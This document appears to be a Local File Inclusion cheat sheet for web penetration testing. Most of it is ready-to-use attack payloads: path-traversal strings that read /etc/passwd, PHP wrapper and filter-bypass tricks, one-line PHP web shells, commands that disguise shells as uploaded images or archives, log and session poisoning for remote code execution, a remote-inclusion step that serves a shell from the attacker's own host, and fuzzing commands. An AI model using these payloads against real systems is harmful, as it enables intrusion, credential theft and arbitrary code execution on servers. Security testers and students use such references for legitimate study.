Local File Inclusion Cheatsheet

Related pages:

• LFI Testing

What is a Local File Inclusion (LFI) vulnerability?

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Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server.

The following is an example of PHP code vulnerable to local file inclusion.

<?php      
	$file = $_GET['file'];      
	if(isset($file))      
		{          
			include("pages/$file");      
		}      
		else      
		{          
			include("index.php");      
		}   
?>

Identifying LFI Vulnerabilities

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LFI vulnerabilities are typically easy to identify and exploit. Any script that includes a file from a web server is a good candidate for further LFI testing, for example:

/script.php?page=index.html

A security consultant would attempt to exploit this vulnerability by manipulating the file location parameter, such as:

/script.php?page=../../../../../../../../etc/passwd

The above is an effort to display the contents of the /etc/passwd file on a UNIX / Linux based system.

Below is an example of a successful exploitation of an LFI vulnerability on a web application:

PHP Wrappers

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PHP has a number of wrappers that can often be abused to bypass various input filters.

PHP Expect Wrapper

PHP expect:// allows execution of system commands, unfortunately the expect PHP module is not enabled by default.

php?page=expect://ls

The payload is sent in a POST request to the server such as:

/fi/?page=php://input&cmd=ls

Example using php://input against DVWA:

• this will execute the command ls:

Image description: The output from the command “ls” is rendered above the DVWA banner.

PHP php://filter

php://filter allows a pen tester to include local files and base64 encodes the output. Therefore, any base64 output will need to be decoded to reveal the contents.

An example using DVWA:

vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd

Image description: Image showing the base64 encoded text at the top of the rendered page

Base64 decoding the string provides the /etc/passwd file:

Image description: An image showing the base64 decoded output from /etc/passwd on a UNIX / Linux system

php://filter can also be used without base64 encoding the output using:

?page=php://filter/resource=/etc/passwd

Image description: An image showing the output from /etc/passwd on a UNIX / Linux system using php://filter

PHP ZIP Wrapper LFI

The zip wrapper processes uploaded .zip files server side allowing the upload of a zip file using a vulnerable file function exploitation of the zip filter via an LFI to execute. A typical attack example would look like:

1. Create a PHP reverse shell

2. Compress to a .zip file

3. Upload the compressed shell payload to the server

4. Use the zip wrapper to extract the payload using: php?page=zip://path/to/file.zip%23shell

5. The above will extract the zip file to shell, if the server does not append .php rename it to shell.php instead

If the file upload function does not allow zip files to be uploaded, attempts can be made to bypass the file upload function (see: OWASP file upload testing document).

LFI via /proc/self/environ

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If it’s possible to include /proc/self/environ via a local file inclusion vulnerability, then introducing source code via the User Agent header is a possible vector. Once code has been injected into the User Agent header a local file inclusion vulnerability can be leveraged to execute /proc/self/environ and reload the environment variables, executing your reverse shell.

Useful Shells

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Useful tiny PHP back doors for the above techniques:

<? system('uname -a');?>

Null Byte Technique

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Null byte injection bypasses application filtering within web applications by adding URL encoded “Null bytes” such as %00. Typically, this bypasses basic blacklist filters by adding additional null characters that are then allowed or not processed by the backend.

Some practical examples of null byte injection for LFI:

vuln.php?page=/etc/passwd%00  
vuln.php?page=/etc/passwd%2500

Truncation LFI Bypass

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Truncation is another blacklist bypass technique. By injecting long parameter into the vulnerable file inclusion mechanism may truncate (cut it off) the input parameter, which may bypass the input filter.

Log File Contamination

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Log file contamination is the process of injecting source code into log files on the target system. This is achieved by introducing source code via other exposed services on the target system which the target operating system / service will store in log files. For example, injecting PHP reverse shell code into a URL, causing syslog to create an entry in the apache access log for a 404 page not found entry. The apache log file would then be parsed using a previously discovered file inclusion vulnerability, executing the injected PHP reverse shell.

After introducing source code to the target systems log file(s) the next step is identifying the location of the log file. During the recon and discovery stage of a security assessment the target operating system and web server would have been identified, a good starting point would be looking up the default log paths for the identified operating system and web server (if they are not already known by the consultant). FuzzDB’s Burp LFI payload lists can be used in conjunction with Burp intruder to quickly identify valid log file locations on the target system.

Some commonly exposed services on a Linux / UNIX systems are listed below:

Apache / Nginx

Inject code into the web server access or error logs using netcat, after successful injection parse the server log file location by exploiting the previously discovered LFI vulnerability. If the web server access / error logs are long, it may take some time execute your injected code.

Local File Inclusion Quickies

Command	Description
Basic LFI
/index.php?language=/etc/passwd	Basic LFI
/index.php?language=../../../../etc/passwd	LFI with path traversal
/index.php?language=/../../../etc/passwd	LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd	LFI with approved path
LFI Bypasses
/index.php?language=....//....//....//....//etc/passwd	Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64	Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]	Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00	Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config	Read PHP with base64 filter

Remote Code Execution

Command	Description
PHP Wrappers
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id	RCE with data wrapper
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"	RCE with input wrapper
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"	RCE with expect wrapper
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>	Host web shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id	Include remote PHP web shell
LFI + Upload
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif	Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id	RCE with malicious uploaded image
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php	Create malicious zip archive 'as jpg'
/index.php?language=zip://shell.zip%23shell.php&cmd=id	RCE with malicious uploaded zip
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg	Create malicious phar 'as jpg'
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id	RCE with malicious uploaded phar
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd	Read PHP session parameters
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E	Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id	RCE through poisoned PHP session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'	Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id	RCE through poisoned PHP session

Misc

Command	Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287	Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287	Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287	Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287	Fuzz server configurations
LFI Wordlists
LFI-Jhaddix.txt
Webroot path wordlist for Linux
Webroot path wordlist for Windows
Server configurations wordlist for Linux
Server configurations wordlist for Windows

File Inclusion Functions

Function	Read Content	Execute	Remote URL
PHP
include()/include_once()	Yes	Yes	Yes
require()/require_once()	Yes	Yes	No
file_get_contents()	Yes	No	Yes
fopen()/file()	Yes	No	No
NodeJS
fs.readFile()	Yes	No	No
fs.sendFile()	Yes	No	No
res.render()	Yes	Yes	No
Java
include	Yes	No	No
import	Yes	Yes	Yes
.NET
@Html.Partial()	Yes	No	No
@Html.RemotePartial()	Yes	No	Yes
Response.WriteFile()	Yes	No	No
include	Yes	Yes	Yes